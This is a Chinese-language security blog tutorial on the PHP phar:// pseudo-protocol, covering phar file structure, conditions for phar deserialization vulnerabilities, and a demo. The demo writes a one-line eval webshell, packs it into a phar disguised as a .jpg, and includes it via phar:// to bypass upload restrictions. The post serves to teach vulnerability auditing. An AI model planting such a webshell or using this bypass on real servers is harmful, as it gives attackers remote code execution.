[代碼審計篇]php代碼審計之淺析Phar僞協議

0x01 前言

簡要說明

寫這篇博客的目的只有兩個

  • 爲後續博客之[代碼審計篇]中關於php反序列化漏洞的審計作鋪墊
  • 爲上一篇博客做點漏洞原理的補充
環境工具

Win10 +Ubuntu
Phpstudy_pro
Sublime_Text 3

注意(tips)

PHAR的使用需要將php.ini設置phar.readonly設置爲Off才能用於PHAR對象

PHAR 這個詞是PHP和 Archive的組合詞,基於Java開發人員熟悉的jar(Java Archive)

預備知識

文件頭:

用來辨別一個文件真實內容,可修改(比如CTF中的雜項類就會有涉及修改文件頭的試題)

以下是常見文件類型及其參數:
在這裏插入圖片描述

phar可利用的文件操作函數

在這裏插入圖片描述

0x02 簡介

PHAR://協議

可以將多個文件歸入一個本地文件夾,也可以包含一個文件

PHAR文件

PHAR文件是一種打包格式,通過將多數PHP文件和其他資源(如圖像)捆綁到一個歸檔文件中來實現應用程序和庫的分發。且所有PHAR文件都使用.phar作爲文件擴展名,PHAR格式的歸檔需要使用自己寫的php代碼。

PHAR存檔最有特色的一種方便的方法是將多個文件分組爲一個文件。這樣,PHARr存檔提供了一種將完整的php應用程序分發到單個文件中並從該文件運行它的方法,而無需將其提取到磁盤。

PHP可以像在命令行上和從Web服務器上的任何其他文件一樣輕鬆地執行PHAR存檔。

PHAR文件結構

無論格式如何,每個歸檔都包含三個部分:
1.存根(stub)

一個可以引導歸檔的php文件。存根必須包含__HALT_COMPILER();語句,並且默認存根擁有在不啓用PHAR擴展的情況下運行PHAR文件的能力.

識別phar拓展的標識,格式:xxx(可自定義),對應的函數是Phar::setStub()

2.清單(manifest describing the contents)

清單詳細說明了存歸檔的內容。
被壓縮文件的權限、屬性等信息都放在這裏。這部分會以序列化的形式存儲用戶自定義的meta-data(漏洞利用核心)。對應函數Phar::setMetadata()可自定義phar歸檔元數據.

在這裏插入圖片描述

3.文件內容 (file contents)

歸檔中包含的原始文件,即被壓縮文件的內容.

0x03 前提

一般情況下,利用Phar反序列漏洞有幾個條件:

可以上傳Phar文件
有可以利用的魔術方法
文件操作函數的參數可控

0x04 實戰

先用下面這個例子來體會一下PHAR的基本操作:

  • owl.php
  • index.php

隨便寫個一句話owl.php

<?php 
@eval($_POST["owl"]);
?>

然後將owl.php壓縮,並將後綴改爲.jpg

先用phar.php創建一個owl.phar壓縮包

<?php
$phar = new Phar('owl.phar');   //
$phar->buildFromDirectory('/root/PHP_Serilize');//buildFromDirectory指定壓縮的目錄
$phar->compressFiles(Phar::GZ);  //Phar::GZ表示使用gzip來壓縮此文件
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('owl.php'));//setSub用來設置啓動加載的文件
?>

在這裏插入圖片描述

使用PHAR://去包含上面生成的owl.php(注意路徑)

<?php 
include('phar://./owl.jpg/owl.php');
?>

即可包含成功!

姿勢1:繞過上傳限制

使用Phar://僞協議流可以繞過一些上傳限制,大多數情況下和文件包含一起使用

姿勢2:反序列化漏洞

# 漏洞觸發
利用Phar:// 僞協議讀取phar文件時
會反序列化meta-data儲存的信息

tip:系統文件操作的函數一般都能使用僞協議流,而Phar:// 自然也能如此

如果你對關於這兩個實戰姿勢很感興趣,還請移步到我的上一篇博客[反序列化篇]史上最全PHP反序列化漏洞實例復現姿勢詳解(補充ing)----會一直更新補充,旨在收集全網的php反序列漏洞.

0x04 結語

這已經是我的第六篇博客了,目前認爲寫博客的感覺還是很爽的,比起把筆記放着自己看(幾乎不看),倒不如公開出來分享到社區,因爲這樣,那日益增加的粉絲和訪問量會讓我有一種責任感,而這種感覺恰好能督促我每天都學習!

參考文章
維基百科
先知
四個實例遞進php反序列化漏洞理解

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章